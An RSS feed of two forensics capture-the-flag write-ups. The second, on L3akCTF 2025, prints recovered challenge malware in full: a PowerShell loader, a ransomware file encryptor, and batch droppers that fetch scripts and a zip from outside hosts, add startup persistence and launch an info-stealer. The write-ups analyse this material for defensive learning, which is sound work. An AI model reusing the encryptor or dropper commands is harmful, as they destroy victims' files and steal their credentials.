<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by OG13 on Medium]]></title>
        <description><![CDATA[Stories by OG13 on Medium]]></description>
        <link>https://medium.com/@OG13?source=rss-90f05bf56f2d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CRTF-pO7WR6A3v3K-hPSWw.jpeg</url>
            <title>Stories by OG13 on Medium</title>
            <link>https://medium.com/@OG13?source=rss-90f05bf56f2d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 04 Jun 2026 12:27:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@OG13/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[CAT CTF 25 DFIR Write-up]]></title>
            <link>https://medium.com/@OG13/cat-ctf-25-dfir-write-up-bedb5c83bd41?source=rss-90f05bf56f2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bedb5c83bd41</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[OG13]]></dc:creator>
            <pubDate>Mon, 25 Aug 2025 09:21:25 GMT</pubDate>
            <atom:updated>2025-09-06T19:49:51.324Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*NRWRd_3IoiCDkuNRbimq3Q.jpeg" /></figure><p>Hey folks,</p><p>Today, we’ll be walking through the Forensics challenges I’ve tackled at CAT CTF 25, Insha’allah.</p><p>It’s worth mentioning that I’ve got my first <strong>First Blood</strong> in <strong>[Loser] </strong>challenge🩸</p><p><strong>Note:</strong> I’ve added [Erased Traces] challenge with the intended solution, as I was so close to the solution during the CTF but unfortunately couldn’t make it.</p><p><strong>Edit:</strong> You can find all challenge files <a href="https://github.com/ELJoOker2004/CAT-CTF-2025/tree/main/DFIR">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JHXoPVN_KOsFxVEaDYEirw.png" /></figure><blockquote><strong>Index of Secrets</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*jmJPItN3WI9FDItwHOP2pQ.png" /></figure><p>After extracting the zip archive we got a triage acquisition for the C: drive.</p><p>I checked the Recent directory to check the recently accessed files, located in:</p><pre>C:\Users\wh1pl4sh\AppData\Roaming\Microsoft\Windows\Recent</pre><p>I found a shortcut .lnk file called flag.txt, pointing to the desktop of the user wh1pl4sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*s2AyNhwUQRqaDIo-bd5odQ.png" /></figure><p>So what is the Windows Search Index?</p><p>The windows search indexing is a background service that improves the speed and efficiency of searches in windows by pre-building an index of files, emails, and other content on your system.</p><p>It works using indexers that scans files/folders and stores metadata like File Name, File Type, Location, Date Modified, Contents (text contents is indexed but punctuation is not)</p><p>And saves this data to a local index database, located at:</p><pre>C:\ProgramData\Microsoft\search\data\applications\windows\Windows.edb</pre><p>Then when you use windows search, it queries the index instead of scanning the disk.</p><p>I used <a href="https://github.com/moaistory/WinSearchDBAnalyzer">WinSearchDBAnalyzer</a> tool to parse and explore the windows search index database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NfK8UrlVW5XrfAO8jdNU9w.png" /></figure><blockquote><strong>Loser</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*C0HM1jYuqV92YmWHaIsWRQ.png" /></figure><p>After extracting the zip archive, we got a triage acquisition for almost the C: drive with multiple artifacts missing.</p><p>First of all, we are looking for a cracked game that the user downloaded that ended up cracking the system.</p><p>We’ve two active users in the system t0orf3n &amp; wh1pl4sh, for now we don’t know which one who’s got infected.</p><p>The Downloads folder is missing for both users, so I thought about checking the browser history.</p><p>Upon checking common browser artifacts paths for both users, it turns out that only the user t0orf3n has Microsoft Edge browser artifacts available.</p><p>Let’s check his browsing history, from the History file located in:</p><pre>C:\Users\t0orf3n\AppData\Local\Microsoft\Edge\User Data\Default\History</pre><p>I’ll use <a href="https://sqlitebrowser.org/dl/">DB Browser for SQLite</a> to parse the history database file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eV7o90FrSJnZh2-Gm7Zvww.png" /></figure><p>So the user was searching for a crack for a game called Green Hell as stated in the challenge description.</p><p>Let’s take a look at the downloads table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcOsSIjdBTbBTAHLQCwQJA.png" /></figure><p>Okay, he downloaded a cracked version with the name GreenHell.crack.exe, we can convert the chrome timestamp in the end_time column to determine when the file was downloaded using <a href="https://www.epochconverter.com/webkit">epochconverter.com/webkit</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*qw8ZN3Sth1BNtdwSywxX6Q.png" /></figure><p>Okay, at this point, I thought I got the first part of the flag, which was asking about the name and path for the malicious file. I mean, we got its name and it was in the Downloads directory right?</p><p>Now we wanna determine the time the file was last executed.</p><p>So I thought about all the evidence of executions that log the last execution time, starting with prefetch files:</p><pre>C:\Windows\Prefetch</pre><p>There was no prefetch file for GreenHell.crack.exe :”</p><p>So I headed to UserAssist key.</p><pre>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist</pre><p>Nothing…</p><p>I thought about checking the Amcache hive, I know it doesn’t log the last execution time tho, but the hive itself wasn’t available in the artifacts.</p><p>Hmm..</p><p>Then while I was researching different evidence of executions, I stumbled upon <a href="https://github.com/Psmths/windows-forensic-artifacts/blob/main/execution/program-compatibility-assistant.md">this resource</a>, which talks about <strong>PCA(Program Compatibility Assistant)</strong>.</p><p>The PCA is a background Windows feature that identifies and resolves known compatibility issues with older desktop applications on newer versions of the operating system.</p><p>It’s a new evidence of execution artifact which was introduced in Windows 11, it’s located in:</p><pre> C:\Windows\appcompat\pca</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*udgMyLvUsYPU9LKvg-Ca7w.png" /></figure><p>We got three files PcaAppLaunchDic.txt, PcaGeneralDb0.txt, and PcaGeneralDb1.txt.</p><p>PcaAppLaunchDic.txt contains the executable file path and the most recent execution timestamp for a given application.</p><p>PcaGeneralDb0.txt and PcaGeneralDb1.txt contains general information about the executed application like Runtime, Run status, Executable path, Description of the file and more valuable information.</p><p>I opened the PcaAppLaunchDic.txt and searched with our cracked game to get the full path and the execution timestamp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*625hj3vBcU-IgeSBIpH2Vw.png" /></figure><p>And then PcaGeneralDb0.txt to get the run status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHRvLs3-JWOtYNa1IdDoCA.png" /></figure><p>Now the full flag will be:</p><pre>CATF{C:\Users\t0orf3n\AppData\Local\Temp\GreenHell.crack.exe_3_2025-07-12 13:34:17.726}</pre><blockquote><strong>Dead Icons Speak</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*Jc9kxxlbnGhOCcKA50CNew.png" /></figure><p>After extracting the zip archive, we got another triage acquisition for the C: drive, but with the C:\Windows directory missing.</p><p>TBH, at first I didn’t know how to think, and what should I look for…</p><p>We have a lot of missing artifacts, the NTUSER.DAT hive was empty, the browser history was empty..</p><p>I noticed that we have the $LogFile &amp; $MFT available, so I thought why not to parse the $MFT and check the prefetch files for executed programs.</p><p>I used <a href="https://ericzimmerman.github.io/#!index.md">MFTECmd </a>to do so.</p><pre>MFTECmd.exe -f &quot;MFT file path&quot; --csv &quot;output directory&quot; --csvf &quot;output filename&quot;</pre><p>Used this command to parse the $MFT file and write the output to a .csv file in the specified directory.</p><p>Let’s open the .csv file with <a href="https://ericzimmerman.github.io/#!index.md">Timeline Explorer</a> and search with .pf which is the file extension for prefetch files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qP8k1L3yvZVYBqH_0d0l_A.png" /></figure><p>I scrolled a little bit until I noticed this executable filename flagstealer.exe. I think it’s pretty suspicious.</p><p>After that I returned to the chall description, maybe I can figure out anything I didn’t notice before.</p><p>The sentence an icon rendered into the depth of a forgotten cache made me think to check the rendered icon of the executable we found above.</p><p>Honestly, it was my first interaction with icon/thumbnail cache.</p><p>These are database files where Windows stores copies of file and folder icons, they’re stored in:</p><pre>C:\Users\wh1pl4sh\AppData\Local\Microsoft\Windows\Explorer</pre><p>I used <a href="https://thumbcacheviewer.github.io/">Thumbcache Viewer</a> to open these database files and start loading the iconcache_*.db files.</p><p>After some time searching through the icons, we got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8aNVjRNzjTfAwa4p7nDgOA.png" /></figure><p>The final flag will be:</p><pre>CATF{flagstealer.exe:thumbn41l_pwn}</pre><blockquote><strong>Erased Traces</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*phBJoVO8a_K-VsOVMhTA_Q.png" /></figure><p>In this challenge we got a .E01 disk image.</p><p>I opened the disk image using <a href="https://www.exterro.com/ftk-product-downloads/ftk-imager-4-7-3-81">FTK Imager</a>.</p><p>At first glance we can see four deleted files in the root directory with the names CAT1, CAT2, CAT3, and CAT4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*peb3AY9zrwXAQZZhxRY07Q.png" /></figure><p>Our task is to recover these deleted files as the challenge description stated.</p><p>The first thing came to my mind is to do file carving.</p><p>I used Photorec but it didn’t recover anything, after it I tried R-Studio with no luck also it recovered four files full of null bytes :(</p><p>Hmm, ok maybe no luck with file carving..</p><p>After that what I thought of was to check if there is any available VSS restore points.</p><p>So I mounted the disk image using FTK Imager</p><p>File &gt; Image Mounting &gt; Add Image File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*CGOQ1ZUycBOPpK15iTTwWA.png" /></figure><p>It’s very important to mount the disk as writable so the OS has write permissions to this mounted drive so it can access the volume shadow copies.</p><p>I used <a href="https://www.shadowexplorer.com/downloads.html">ShadowExplorer</a> to view the shadow copies but to my surprise there weren’t any…</p><p>I tried to do it manually, open a command prompt with elevated privileges and list the the available shadow copies for this drive with the drive letter.</p><pre>vssadmin list shadows /for=F:</pre><p>Also got nothing..</p><p>Ok what else could it be!</p><p>I returned to the artifacts and noticed the $LogFile &amp; $MFT, so I exported them from the disk image and then parsed them using <a href="https://sites.google.com/site/forensicnote/ntfs-log-tracker">NTFS Log Tracker</a> to check the filesystem events for these files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vtfneTpSQNAjxO6joE_qZg.png" /></figure><p>We can notice the File Creation events for the four files, but the actual important thing is the Data Runs we got in the Details tap.</p><p>The Data Run describes where and how much data of a file is stored on disk, it tells the filesystem Start at cluster A and use B clusters.</p><p>So here we have the first file CAT1 starting at cluster 994 and allocate 3 clusters, the second file CAT2 starting at cluster 2087 and allocate 3 clusters also and so on.</p><p>We need to calculate the Start Offset that the file data starts at.</p><p>Start Offset = Cluster Number * Cluster Size</p><p>Length = Cluster Count * Cluster Size</p><p>The default cluster size is 4096 bytes which consists of 8 sectors each one is 512 bytes</p><p>I mounted the disk image and opened it in <a href="https://mh-nexus.de/en/downloads.php?product=HxD20">HxD</a> with the open disk option and select the mounted physical disk.</p><p>Now we should calculate the start offset of the first file 994 * 4096 = 0x3E2000 and the length 3 * 4096 = 0x1000</p><p>Press Ctrl + E to select a block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*HC34X0r82PqwPWetaNAT8Q.png" /></figure><p>I searched with the offset and length we’ve calculated, it returned a block of null bytes..</p><p>I struggled with this for a while, then I asked the author. Shout out ma maan <a href="https://www.linkedin.com/in/ahmedmofawzy/">wh1pl4sh</a> for the great challenges &lt;’3</p><p>He told me to check the the cluster size again, so I double checked the cluster size.</p><p>Right Click on the Mounted Drive &gt; Format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*YNjUCzlJ9WQmcTg7f3cXxw.png" /></figure><p>You can also check it from FTK Imager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*37FgalF_53bj5JDCiJ_IWw.png" /></figure><p>So the cluster size is changed to 8192 bytes not the default value</p><p>And that’s teaches us to not take anything for granted and always verify…</p><p>Now I’ve recalculated our offset and length, but what I was doing wrong during the CTF that I was opening the mounted disk as a Physical Disk not as a Logical Drive so this was also giving me null bytes and dummy data at the correct offset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*c_-tLdoSxsuwBF3RgFAiYg.png" /></figure><p>After the CTF ended I tried again but I opened the disk as logical drive.</p><p>The recalculated offsets (all in hex):</p><pre>CAT1 -&gt; 944  * 8192 = 7C4000<br>CAT2 -&gt; 2087 * 8192 = 104E000<br>CAT3 -&gt; 2236 * 8192 = 1178000<br>CAT4 -&gt; 2266 * 8192 = 11B4000<br>Length -&gt; 3  * 8192 = 6000</pre><p>I searched with the offset of the first file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*ABuR5OKqSE_FDwzSPszqcw.png" /></figure><p>Finallyy, it’s a pdf document file header.</p><p>I copied this block and pasted it in a new file, and then checked the other files offsets.</p><p>Checking the last file CAT4, there is an EOF (End of File) marker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*hON06lu94G4ak-sAvzX9Nw.png" /></figure><p>This means that they’re all segments for the same one file..</p><p>This segmentation that prevented the file carving tools from carving anything out, cuz they couldn’t determine where the file began and ended!</p><p>Now we need to concatenate all of these four segments.</p><p>But first we need to remove all of these null bytes from each file, otherwise the null bytes will overwrite the next segment, and we’ll end up having a corrupted document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*uKAI4OQTY1Lnm71qdA4wWg.png" /></figure><p>Don’t forget this sneaky byte also, I couldn’t recover the full flag because of this single byte..</p><p>Let’s concatenate em’ up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*otwUBEwaENrdWVD4XIAkCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*0nTTsNxKgzdXifHcQhwk1A.png" /></figure><p>Now we should be good to go..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*6QQqTBKxZv6UcvWUaIq3dQ.png" /></figure><p>Thank you for your time,</p><p>I hope you enjoyed the reading and learned something new &lt;’3</p><p>If you have any questions, don’t hesitate to reach out at: <a href="https://linkedin.com/in/0g13/">OG13</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bedb5c83bd41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[L3akCTF 2025 Forensics Write-up]]></title>
            <link>https://medium.com/@OG13/l3akctf-2025-forensics-write-up-6420777822de?source=rss-90f05bf56f2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6420777822de</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[OG13]]></dc:creator>
            <pubDate>Thu, 17 Jul 2025 19:44:11 GMT</pubDate>
            <atom:updated>2025-08-19T23:07:04.633Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*g_pDMbsa7-4KbRoyJPUunw.jpeg" /></figure><p>Hey folks,</p><p>Today, we’ll be walking through the Forensics challenges I’ve tackled in L3akCTF 2025, Insha’allah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Au7CNdZVtP8DXoRus0wJZw.png" /></figure><blockquote><strong>Ghost in The Dark</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*8RTa2wtC80R_RTKCBIlIxg.png" /></figure><p>After downloading the challenge file, we’re dealing with a disk image, as the challenge description states that a removable drive was recovered from a compromised system, and some sort of file encryption had taken place, so let’s take a closer look and find out what happened.</p><p>I opened the disk image in <a href="https://www.exterro.com/ftk-product-downloads/ftk-imager-4-7-3-81">FTK Imager</a>.</p><p>At first glance, I found some encrypted files, a ransom note ransom_note.txt, and a deleted powershell script loader.ps1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*7axuzqDelkF5Yz3k0DuJ1A.png" /></figure><p>The powershell script can be recovered easily, as it hasn’t been wiped from the disk.</p><p>Instead, the $MFT (Master File Table) entry was just marked as unlinked, so the data is still present on the disk until overwritten.</p><pre>$key = [System.Text.Encoding]::UTF8.GetBytes(&quot;0123456789abcdef&quot;)<br>$iv  = [System.Text.Encoding]::UTF8.GetBytes(&quot;abcdef9876543210&quot;)<br><br>$AES = New-Object System.Security.Cryptography.AesManaged<br>$AES.Key = $key<br>$AES.IV = $iv<br>$AES.Mode = &quot;CBC&quot;<br>$AES.Padding = &quot;PKCS7&quot;<br><br>$enc = Get-Content &quot;L:\payload.enc&quot; -Raw<br>$bytes = [System.Convert]::FromBase64String($enc)<br>$decryptor = $AES.CreateDecryptor()<br>$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>$script = [System.Text.Encoding]::UTF8.GetString($plaintext)<br><br>Invoke-Expression $script<br><br># Self-delete<br>Remove-Item $MyInvocation.MyCommand.Path</pre><p>It’s a simple powershell decryptor. It’s decrypting an encrypted file called payload.enc which uses the AES encryption algorithm with the CBC mode. It decodes the content of the payload.enc file from base64, starts the decryption process, and then converts decrypted bytes to UTF-8 encoding.</p><p>I exported the payload.enc file and opened it in <a href="https://gchq.github.io/CyberChef/">CyberChef</a> to decrypt its content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IrNkNZbBLmfyGcyXJFDD1g.png" /></figure><p>Using from Base64then AES Decrypt plugins with the Key and IV from the ps1 script.</p><pre>$key = [System.Text.Encoding]::UTF8.GetBytes(&quot;m4yb3w3d0nt3x1st&quot;)<br>$iv  = [System.Text.Encoding]::UTF8.GetBytes(&quot;l1f31sf0rl1v1ng!&quot;)<br><br>$AES = New-Object System.Security.Cryptography.AesManaged<br>$AES.Key = $key<br>$AES.IV = $iv<br>$AES.Mode = &quot;CBC&quot;<br>$AES.Padding = &quot;PKCS7&quot;<br><br># Load plaintext flag from C:\ (never written to L:\ in plaintext)<br>$flag = Get-Content &quot;C:\Users\Blue\Desktop\StageRansomware\flag.txt&quot; -Raw<br>$encryptor = $AES.CreateEncryptor()<br>$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)<br>$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>[System.IO.File]::WriteAllBytes(&quot;L:\flag.enc&quot;, $cipher)<br><br># Encrypt other files staged in D:\ (or L:\ if you&#39;re using L:\ now)<br>$files = Get-ChildItem &quot;L:\&quot; -File | Where-Object {<br>    $_.Name -notin @(&quot;ransom.ps1&quot;, &quot;ransom_note.txt&quot;, &quot;flag.enc&quot;, &quot;payload.enc&quot;, &quot;loader.ps1&quot;)<br>}<br><br>foreach ($file in $files) {<br>    $plaintext = Get-Content $file.FullName -Raw<br>    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)<br>    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)<br>    [System.IO.File]::WriteAllBytes(&quot;L:\$($file.BaseName).enc&quot;, $cipher)<br>    Remove-Item $file.FullName<br>}<br><br># Write ransom note<br>$ransomNote = @&quot;<br>i didn&#39;t mean to encrypt them.<br>i was just trying to remember.<br><br>the key? maybe it&#39;s still somewhere in the dark.<br>the script? it was scared, so it disappeared too.<br><br>maybe you&#39;ll find me.<br>maybe you&#39;ll find yourself.<br><br>- vivi (or his ghost)<br>&quot;@<br>Set-Content &quot;L:\ransom_note.txt&quot; $ransomNote -Encoding UTF8<br><br># Self-delete<br>Remove-Item $MyInvocation.MyCommand.Path</pre><p>It turns out to be the actual powershell encryptor or the payload.</p><p>It encrypts the contents of the flag.txt file on the C: drive, then it writes the encrypted data to flag.enc on the L: drive, which is probably the removable drive.</p><p>Then it encrypts any other file in this removable drive except for a list of filenames:</p><pre>[&quot;ransom.ps1&quot;, &quot;ransom_note.txt&quot;, &quot;flag.enc&quot;, &quot;payload.enc&quot;, &quot;loader.ps1&quot;]</pre><p>Lastly, it writes the contents of the ransom note to the ransom_note.txt file and deletes itself.</p><p>Once again, export the flag.enc file from the disk image and open it in CyberChef, using the AES Decrypt plugin with the Key and IV used in the powershell encryptor script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSakLIbGw2HXUQSATCcZAg.png" /></figure><h4>TTPs</h4><ul><li><strong>Execution: </strong>Command and Scripting Interpreter: <a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell (T1059.001)</a></li><li><strong>Defense Evasion:</strong> <a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion (T1070.004)</a></li><li><strong>Collection: </strong><a href="https://attack.mitre.org/techniques/T1005">Data from Local System (T1005)</a></li><li><strong>Impact:</strong> <a href="https://attack.mitre.org/techniques/T1486/">Data Encrypted for Impact (T1486)</a></li></ul><blockquote><strong>BOMbardino crocodile</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*rWoQU-suEw0SuzTEZv4baQ.png" /></figure><p>After extracting the zip archive, we got a triage acquisition for the Users directory C:\Users, and an .eml file that the challenge description mentioned.</p><p>You can open it using any email client or software. I used <a href="https://www.thunderbird.net/">Thunderbird</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*7YnSlTsOrH2GvBERc-vGYw.png" /></figure><p>This email was sent from the compromised machine by the attacker, as the challenge description states.</p><p>What really caught my eye was this Discord server invitation, and the line below, which the attacker says to his operative, that there are data leaks for people who clicked on their brainrot exam!</p><p>We don’t know what this exam is yet, let’s take a look at the discord server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-oC1UJENm1q3KZoqZ9tnSg.png" /></figure><p>Ohh..</p><p>So they’re selling these leaked data and screenshots for $500 at the channel called lobsterl3aks.</p><p>From what I can see, screenshots, passwords, public IPs, and system information, this is likely an Info Stealer behavior.</p><p>So let us leave this discord server for now and start with the artifacts we have, to understand what happened, how this stealer got onto the user’s machine, and what the infection flow is.</p><p>I started with the Downloads folder for the user crustacean.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*YCmnOw0vL-qzDJIM8s3CCw.png" /></figure><p>Alright, this doesn’t look good. There is a batch script and a pdf file named lil-l3ak-exam.pdf, let’s take a closer look at what’s inside this pdf file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*t3yKhXvJUpACDnJGujypeQ.png" /></figure><p>Hmm, so this is the brainrot exam mentioned before in the attacker’s email to his operative.</p><p>The pdf contains a downloadable link for a zip archive named Lil-L3ak-secret-plans-for-tonight.zip, which is the same name as the batch script, so this zip archive contains a batch script disguised as an exam.</p><p>Everything is clear now, this is a spearphishing attempt, as the pdf file contains the victim’s username, so it’s not a public info stealer campaign that’s probably distributed in a mass email distribution, or cracked software or games.</p><p>Let’s check the contents of the batch script.</p><p>I tried to open it with <a href="https://notepad-plus-plus.org/">Notepad++</a>, but there were some strange bytes FF FE at the beginning of the file, resulting in incorrect file encoding.</p><p>I did a quick research and it turned out to be something called Byte Order Mark (BOM) for UTF-16 Little Endian encoding, which indicates that the file was saved as UTF-16 LE. I tried to convert it from UTF-16 to ANSI or UTF-8, but for some reason it didn’t work for me.</p><p>So I opened it with <a href="https://mh-nexus.de/en/downloads.php?product=HxD20">HxD</a> (the hex editor of my choice).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6-Hcrk0egW79DvN_cSmyg.png" /></figure><p>I replaced the first two bytes with null bytes and saved the file, and opened it again in Notepad++.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WWbbEppMmHZmdCSe5mjrEA.png" /></figure><p>The script was full of nonsensical sentences echoed on the screen as a sort of obfuscation, so I kept scrolling until I found this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VBAgMWnfO7_xc9iIkugbGg.png" /></figure><pre>start /min cmd /c &quot;powershell -WindowStyle Hidden -Command <br>Invoke-WebRequest -Uri &#39;https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat&#39; -OutFile &#39;%TEMP%\temp.bat&#39;;<br>Start-Process -FilePath &#39;%TEMP%\temp.bat&#39; -WindowStyle Hidden&quot;</pre><p>For this part of the script, it starts cmd.exe in a minimized window, then passes the next Powershell command as a parameter to be executed by cmd.exe.</p><p>The powershell command executes in a hidden window, makes a request to a GitHub repo that contains another batch script, downloads this script in the %TEMP% path with the name temp.bat, and lastly executes this script with the Start-Process cmdlet in a hidden window.</p><p>The %TEMP% environment variable refers to the path:</p><pre>C:\Users\&lt;username&gt;\AppData\Local\Temp</pre><p>Let’s check out this path and see what’s in there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*W-XIvvyDHWdBG2anWZVFOA.png" /></figure><p>Yep, it’s right there.</p><p>Again, those BOM bytes, I did the same thing and opened the file in Notepad++. I found the same technique as the previous batch script. I kept scrolling until I found this powershell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26l9VTLtxON8Qcep2rSM1A.png" /></figure><pre>start /min powershell.exe -WindowStyle Hidden -Command &quot;[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;<br>(New-Object -TypeName System.Net.WebClient).DownloadFile(&#39;https://github.com/bluecrustacean/oceanman/raw/main/ud.bat&#39;, &#39;%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat&#39;);<br>(New-Object -TypeName System.Net.WebClient).DownloadFile(&#39;https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&amp;st=mtz77hlx&amp;dl=1&#39;, &#39;C:\\Users\\Public\\Document.zip&#39;);<br>Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(&#39;C:/Users/Public/Document.zip&#39;, &#39;C:/Users/Public/Document&#39;);<br>Start-Sleep -Seconds 60;<br>C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py;<br>Remove-Item &#39;C:/Users/Public/Document.zip&#39; -Force&quot; &amp;&amp; exit</pre><p>The script downloaded another batch script called WindowsSecure.bat and saved it to the startup folder as a persistence mechanism so that each time the device boots, this script executes.</p><pre>C:\Users\crustacean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat</pre><p>The next part of the script downloads a zip archive called Document.zip into the Public user’s directory. The file is hosted on Dropbox, a cloud-based file storage service.</p><p>Then extract this archive, sleep for 60 seconds, then execute a python script called leak.py stored at:</p><pre>C:\Users\Public\Document\Lib\leak.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*bPKubEmSC1ywESGurdUGCQ.png" /></figure><p>And lastly, it deletes the Document.zip archive.</p><p>Let’s take a look at the contents and functionalities of this python script.</p><p>Once I opened it, I found a very long commented line of random letters, which is the same technique used in the batch scripts to hide the real script.</p><p>I found a Lambda function that takes a reversed base64 encoded string, decodes it, and then executes the result using the exec() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVdXs8hYFJ8kDcwjE4SIRw.png" /></figure><p>I used CyberChef to decode the script and discovered that it was encoded using this technique five times in a row. So, to uncover the original source code, you need to reverse and base64 decode the string five times until you reach the final payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqrjvStg3_Y7JXS-N_U7wg.png" /></figure><p>From the first look at the script, I realized that this is the source code of the stealer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AmzCVfn1EJ-V3TmIGIQrGg.png" /></figure><p>Briefly, the stealer contains functionalities like Stealing:</p><p>1. Geolocation Data</p><p>2. Discord Tokens</p><p>3. System Information</p><p>4. CPU, Memory &amp; Network Info</p><p>5. Google Chrome Passwords &amp; Cookies</p><p>6. Screenshot Capture</p><p>When I checked the screenshot capability, I found that the stealer grabs a screenshot and saves it to the path:</p><pre>C:\ProgramData\pay2winflag.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drwK9jmpygRDef69uJng4w.png" /></figure><p>This section of the code takes the grabbed screenshot, then encrypts it using the RC4 cipher with the key tralalero_tralala. Then adds the .enc extension to be recognized as encrypted.</p><p>After that, it sends the encrypted image to the discord server using the Channel ID and the Bot Token embedded in the script.</p><p>This is the image that we found when we joined the LobsterLeaks discord server at the beginning.</p><p>There were two images on the server, so I downloaded them. Then I used this image encryptor section and made some changes to it to decrypt the images.</p><pre>from Crypto.Cipher import ARC4<br><br>screenshot_path = r&#39;C:\Users\og13\Desktop\BOMbardino_crocodilo&#39;<br>encrypted_image = screenshot_path + r&#39;\pay2winflag.jpg.enc&#39;<br><br>with open(encrypted_image, &#39;rb&#39;) as f:<br> image_data = f.read()<br><br>key = b&#39;tralalero_tralala&#39;<br>cipher = ARC4.new(key)<br>decrypted_data = cipher.decrypt(image_data) # use decrypt() func instead of encrypt()<br><br>decrypted_image = screenshot_path + r&#39;\pay2winflag.jpg&#39;<br>with open(decrypted_image, &#39;wb&#39;) as f:<br> f.write(decrypted_data)</pre><p>Make sure you have all these packages installed first.</p><pre>python -m pip install crypto<br>python -m pip install pycryptodome<br>python -m pip install tuyapower</pre><p>And finally, we got the second part of the flag.</p><figure><img alt="" 